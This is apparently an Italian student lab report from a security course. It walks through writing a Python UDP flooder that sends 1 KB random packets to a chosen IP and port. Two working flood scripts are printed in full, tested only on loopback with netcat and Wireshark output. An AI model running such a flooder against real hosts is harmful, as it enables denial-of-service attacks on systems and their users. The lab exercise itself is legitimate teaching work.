

# Report UDP flooder W7D4

In questa esercitazione dovremo creare un programma in python che ci permetta di inviare pacchetti UDP di 1 KB ad una coppia IP porta scelta dall'utente.

**Step 1** Creare il codice richiesto dall'esercizio

```
GNU nano 8.3 UDP_flood.py
import socket
import random

IP_target = input("Immetti l'IP della macchina target: ")
target_port = int(input("Immetti la porta target: "))
packet_number = int(input("Immetti il numero di pacchetti da inviare: "))

def UDP_flood():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for x in range(1, packet_number + 1):
        data_sent = random.urandom(1024)
        s.sendto(data_sent, (IP_target, target_port))
        print("\nn.", x, "pacchetti inviati")

    s.close()
    print("Attacco completato!")

UDP_flood()
```

**Step 2** Simulare un server in ascolto in loopback sulla porta 1234 tramite *netcat* ed il comando *nc -lu -p <porta>*.

**Step 3** Avviamo anche Wireshark in ascolto sull'interfaccia di loopback per poter catturare i pacchetti che stiamo per inviare.

**Step 4** Mandiamo in esecuzione il nostro programma ed osserviamo i pacchetti.

```
(kali@kali)-[~/Desktop/PPrograms]
$ python UDP_flood.py
Immetti l'IP della macchina target: 127.0.0.1
Immetti la porta target: 1234
Immetti il numero di pacchetti da inviare: 10

n. 1 pacchetti inviati
n. 2 pacchetti inviati
n. 3 pacchetti inviati
n. 4 pacchetti inviati
n. 5 pacchetti inviati
n. 6 pacchetti inviati
n. 7 pacchetti inviati
n. 8 pacchetti inviati
n. 9 pacchetti inviati
n. 10 pacchetti inviati
Attacco completato!
```

*Esecuzione del programma*

```

kali@kali:~$ nc -lur -p 1234
{[k]*****%*X*
xu0!q*B+*****!*[!*[#****S)*
;~KxQ>*^z*qV*ggc*****
nE***[J]*+*k*'CmZM'+*Y*\p+p+ms?+BC**
2 8 600001335 127 0 0 1 127 0 0 1 UDP 1986 50200 +*<s++++g++++jf [W
2 8 600000023 127 0 0 1 127 0 0 1 UDP 1986 50200
2 8 600000002 127 0 0 1 127 0 0 1 UDP 1986 50200 1234 Len=11
e'*****u6Bq* *kn*+K*8bf/*Z+t+*/Xu+Z++hm+W6G*w' 0 0 1 UDP 1986 50200 1234 Len=30
2*****
EF5*mm!*a[*1?kdR*****'x60PJj776n']/*+*+*+<n+NqZ*2**I(*<f+E*.....nqq+:00cc+V+v+?+
<+g+++V+b+x+r+
G*****I2??j7BT...=I9C****2*,Z*****;+z*K+j*b+j],*##--(h)tL7L+J' x**8q'gG*(+4V7RJ+s+z+bV*****
UDP 1986 50200 +*
C-?z*****
4q ==*3*****kWK!.. " 6r**/*<+x2 :V*****|~{[*]*****+fu+*zy$*30
+*|V|JSN+***\qJG6++捷 hV+3+b+#' *OZ+z+*gg
+*a*nQ{+*,E**:"4Y7U*7G*3' /}iy*****!wTS*X
T+A***0yFX+I*6+|X**
+!!
"*!slF[a+l*_*****I0 +-{-{p(-sq*|?+iqX80 ~^~(w#)*"OZ+=*_.)6+n**Tq*Xoq+Q+c*****j[;]N+***u<-+6*Wo
+*.
>R*6*I=I= = DBsg?*0*Q*+..._3S+3H+***0*u=*****N" uK+1*****t-0-*u+D{C5*{*****+;,_}=R=*}[Z*:u5***P*
+*****+p+fKT*5*FouuGw(h"<_2304*)****d-Z<+*+*;f#a"/*G*+E*QG*2hz+*HD:-v*-+*iu*****+>*****k*|*
<eggLc*ca\c 3*****eew7N>*+x*
z*ayN+***0n*****M7*****k*DgROv+==>*a*+evç;H)ê+/??*f.*BL*ü/1+*6*BrM+[p*Hx+*****
+*=cC|***й
+*y+c*
+*t*Q+m8u*****E*A+***k* **(*)+***Hm+***{uJK}*J*G+*VI*%XI?~-rh=+Yf+qqu+I5jw****A+g*Kg*g*tB'a.T;t;a.*D+*|*****
+*+99*}*xpN+>*****Tao @*+*v*vnn0 ***** [*+*w6L+{[N=+-2-J+*mj+k=*( )i*+x**A.*00 "t*E=E+
+3*PZ*N* *gc*+*****R*PrZ*+I#*+L*26+S*+}*+c*+*j*+0+*****C*G*+K*
Yq**
+
+*b$D***0+0+ç]*C*+*b+*%*****b*.J.*****A+B+*****00
Q7+F+*****63F*j7*-'n'f:█Z
+*+2+*2+*md[M*
+* AW]G+ndD+YaE7,*||w+w*v*g*
+*t*r<0W****,*****

```

## Ricezione pacchetti generati casualmente su netcat

The image shows the Wireshark network protocol analyzer interface. The title bar indicates the capture is on the loopback interface 'lo'. The menu bar includes File, Edit, View, Go, Capture, Analyze, Statistics, Telephony, Wireless, Tools, and Help. The toolbar contains icons for various functions like opening files, saving, and zooming. A filter bar at the top shows 'Apply a display filter ... <Ctrl- />'. The packet list pane displays 10 captured packets, all of which are UDP packets from 127.0.0.1 to 127.0.0.1. The packet details pane for the selected packet (Frame 1) shows the following structure:

- Frame 1: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface lo, id 0
- Ethernet II, Src: 00:00:00\_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00\_00:00:00 (00:00:00:00:00:00)
- Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
- User Datagram Protocol, Src Port: 58298, Dst Port: 1234
- Data (1024 bytes)

## Cattura pacchetti con Wireshark

# Facoltativo

Aggiungiamo al codice scritto in precedenza implementando un intervallo di tempo casuale tra 0 e 0,1 secondi nell'invio dei pacchetti.

## Codice modificato:

```
GNU nano 8.3                                facoltativo_UDP.py
import socket
import random
import time

IP_target = input("Immetti l'IP della macchina target: ")
target_port = int(input("Immetti la porta target: "))
packet_number = int(input("Immetti il numero di pacchetti da inviare: "))

def UDP_flood(IP_target, target_port, packet_number):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    print(str(time.time()) + " - Inizio attacco")

    for x in range(1, packet_number + 1):
        data_sent = random._urandom(1024)
        s.sendto(data_sent, (IP_target, target_port))
        print("\nPacchetto n.", x, "inviato")
        time.sleep(random.random() * 0.1)

    s.close()
    print("Attacco completato!")

UDP_flood(IP_target, target_port, packet_number)
```

## Output codice:

```
(kali@kali)-[~/Desktop/PPrograms]
$ python facoltativo_UDP.py
Immetti l'IP della macchina target: 127.0.0.1
Immetti la porta target: 1234
Immetti il numero di pacchetti da inviare: 15
1744461654.5867293 - Inizio attacco

Pacchetto n. 1 inviato
Pacchetto n. 2 inviato
Pacchetto n. 3 inviato
Pacchetto n. 4 inviato
Pacchetto n. 5 inviato
Pacchetto n. 6 inviato
Pacchetto n. 7 inviato
Pacchetto n. 8 inviato
Pacchetto n. 9 inviato
Pacchetto n. 10 inviato
Pacchetto n. 11 inviato
Pacchetto n. 12 inviato
Pacchetto n. 13 inviato
Pacchetto n. 14 inviato
Pacchetto n. 15 inviato
Attacco completato!
```

## Pacchetti ricevuti su netcat:

```
(kali@kali)-[~/Desktop/Programmi]
$ nc -lu -p 1234
5>$*9+*+*)**n**3<t|_nI. *p#a#*X*=o|***J*
{**1F
2*****!o**P"
cD*****j*[9**z**6*W
*7/A'***q*H*****$**H**4**o*Z/W/*C6** N*****1*x*r*0`yx*****v00_*x=(**!7**.*(0r*#*8-*****
<*Hj*^f>*$4*4T
*****8***J;-*j**i*;C5D**g*除W***
N***Cu=-*****R!*****ZDJ**7*~*****~Z**=9 $***** /L/*****j
**HaX+E**[*l6X*|.!*RK **
* z*1*R1*am**^**W** c|p*****-**m*[U*1i>Mn*ep_66d+*****w|**a**_A/U[*0**b*:.*)*u*6
***G_j**\
=U
**T***
*F***P*O*j*`#
kU+*****4`"8*X*b**u`*****8q^*c**0(*VE~E*****Y* *N6N*****\**I]*****fm$
**7/:_*'4*`*+*g7N*h*CEz*E ]>*5*Mha*=
*
*k*]***oy9*4AI**^*0*r@*****>\***@*****#*6b*:*U*>*4*^Y**R**r**Kl**6*****13*b*hp***6#I**?****|9YM*f**R*k*9**=***-***@E
dq*****Xs|**ex*i;r>***!+i*****?|*l*ge*z***#*_*e*et*%*A*y Dr**<s*****%,$[****]*7*h*oR*v+
ZhUJ*B**mj\*****#**w*@uY@X**o*y|**z^*c*U.*****X<* f**{wt*****7***E***/!*****$
*($*****1J0**Z**I*****zV^`*xt*UtSD**d*****OB**h*W6*uü!*%`*P*%auq16***5"***]***~;***+*l*~*X**m***Ux**i**+*C*l*#,*u7k*E
****rR***H***PJ*66=***h*`g*****B5:p*****I2s**=***-09*8T6**6*X4*|N***M`****VX*****z* **m*ee:~*75U)WdA**_63**XgT*nc*A*
***a**0`*****%***P*****J}*+*JL*V*[****z**K2*?X*L`* *w**(*)**I*c|}?*+*****tgR*s*8C*rY`**s*3
***#h*夫*L*3y;*T*T-***+*lsl*W* zIibe*Yx*i*U***%*~;K
*****>{*k*****"3**;*j*****!
**hl*6*H*W**WyA**F*****V**+0~*f**=[*^*yz*****@*z*(f*8T**D*
P*ed*****
*J*9**@**B*("6*j`\\***4r*?~;*****q**N!***+
*IvC?>*0*\*K*"超sc]***9*****@**$*E***m
*****$*k*-
8kY*XU**51**
*!+;a+e P=2*+eY*+0a*_o**+b***3*9@Xs*o5<KoJ*|(*Kq_**q`96*MP`M*Fe+.w*! *p*W%
***2B0
* Z*5c]*****f_*f*****87***e*7*o*!>V_nv*****a86mtv*****+0a
```

## Cattura con Wireshark:

Capturing from Loopback: lo

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
2	0.100134515	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
3	0.174255478	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
4	0.193722258	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
5	0.281069258	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
6	0.300207275	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
7	0.330647606	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
8	0.357796434	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
9	0.456506654	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
10	0.466818242	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
11	0.563967808	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
12	0.605511967	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
13	0.622324459	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
14	0.679081405	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024
15	0.760075853	127.0.0.1	127.0.0.1	UDP	1066	43488 → 1234 Len=1024

Frame 1: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface lo, id 0  
Ethernet II, Src: 00:00:00\_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00\_00:00:00 (00:00:00:00:00:00)  
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1  
User Datagram Protocol, Src Port: 43488, Dst Port: 1234  
Data (1024 bytes)